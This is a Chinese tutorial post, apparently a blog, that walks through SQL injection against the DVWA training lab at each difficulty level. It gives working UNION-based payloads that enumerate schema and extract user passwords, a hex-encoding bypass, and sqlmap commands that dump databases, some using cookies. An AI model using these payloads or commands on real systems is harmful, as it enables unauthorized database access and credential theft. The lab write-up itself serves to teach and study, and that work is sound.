【DVWA-sql注入】

SQL注入漏洞

3.1 SQL注入原理

  就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.2 SQL注入分类

(1)数字型        (2)字符型       (3)报错注入     (4)Boollean注入                (5)时间注入

3.3 SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

3.4 SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

四.SQL注入漏洞的分析

4.1 定义

SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

4.2 原因

SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。

web 开发人员无法保证所有的输入都已经过滤

攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)

数据库未做相应的安全配置

五.SQL Injection

1.low级别

(1)判断注入类型,是数字型注入,还是字符型注入

我们输入1,看到正确返回值

 我们输入1',看到报错了

 我们可以猜出到是字符型注入,我们继续输入1' and '1' ='1和1' and '1'='2

 我们根据id=1’报错和id=1’ and ‘1’=’1正确,我们可以知道是字符型注入,查看源代码知道就是字符型注入。

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1' order by 1#没有报错

 id=1' order by 2# 没有报错

 id=1' order by 3#时报错了,说明字段只有2列

(3)判断回显位置                       union select 1,2#

 可以知道回显位置 在这二个地方

(4)判断数据库                                     union select 1,database()#

(5)获取表名       

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 (6)获取字段名                  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

(7)获取数据    1' union select user,password from users # 

 2.medium级别

(1)判断注入类型     我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入

 我们输入id=1' and '1'='1看见报错了,输入id=1 and 1=1没有报错。

f

 所以注入类型为数字类型

(2)判断列数

 我们知道列数为2列

(3)判断回显位置   

我们可以知道回显位置是2

(4)判断数据库

(5)判断表名

 (6)判断列名

 我们输入users之后,发现没有如何反应

通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572

 (7)获取数据

 3.high级别

(1)判断注入类型

(1)判断注入类型,是数字型注入,还是字符型注入

我们输入1,看到正确返回值

 我们输入1',看到报错了

 我们可以猜出到是字符型注入,我们继续输入1' and '1' ='1和1' and '1'='2

 我们根据id=1’报错和id=1’ and ‘1’=’1正确,我们可以知道是字符型注入,查看源代码知道就是字符型注入。

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1' order by 1#没有报错

 id=1' order by 2# 没有报错

 id=1' order by 3#时报错了,说明字段只有2列

(3)判断回显位置                       union select 1,2#

 可以知道回显位置 在这二个地方

(4)判断数据库                                     union select 1,database()#

(5)获取表名       

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 (6)获取字段名                  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

(7)获取数据    1' union select user,password from users # 

六.SQL Injection (Blind)

我们在讲SQL Injection (Blind)之前,先讲一下什么是sqlmap注入。

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap  -h

 sqlmap的使用方法:sqlmap -u  url 是对网站进行注入  

                                sqlmap -r  是对文件进行注入       

这里我们对SQL Injection的low级别进行sqlmap,具体过程我写在了图片上面

1.low级别

(1)我们先进行抓包

 (2)然后使用sqlmap

 (3)爆破数据库              --dbs

 (3)爆破表名                             -D 'dvwa' --tables

 (4)爆破字段名    -D 'dvwa'  -T ' guestbook' --columns

 (5)爆破数据

 medum级别:

这里使用数据包离线保存下来传给sqlmap进行爆破

sqlmap -r "/home/xlvbys/桌面/dvwa-midum-post.txt" -p id --dbs   

-r 参数指定使用文件(也就是刚才burpsuit保存下来的数据包),

-p 指定数据包中的爆破参数,本实例里就是 "id的值"

--dbs  sqlmap爆破数据库名称的命令

sqlmap -r "/home/xlvbys/桌面/dvwa-midum-post.txt" -p id -D mysql --tables

-D  指定数据库名称

--tables   sqlmap爆破表名的命令

sqlmap -r "/home/xlvbys/桌面/dvwa-midum-post.txt" -p id -D mysql -t user --columns

-T   指定表命

--colimns  sqlmap爆破字段名称的命令

 high级别:

sqlmap -u"http://192.168.48.110/dvwa/vulnerabilities/sqli_blind/cookie-input.php"

--data="id=1&Submit=Submit"

--second-u="http://192.168.48.110/dvwa/vulnerabilities/sqli_blind/"

–D dvwa –dump --cookie="id=1;security=high;PHPSESSID=334tjndshm83il7481ifjvr2u0"

--second  这里使用二阶注入,本实例注入页面和回显页面不是同一url 所以使用二阶注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值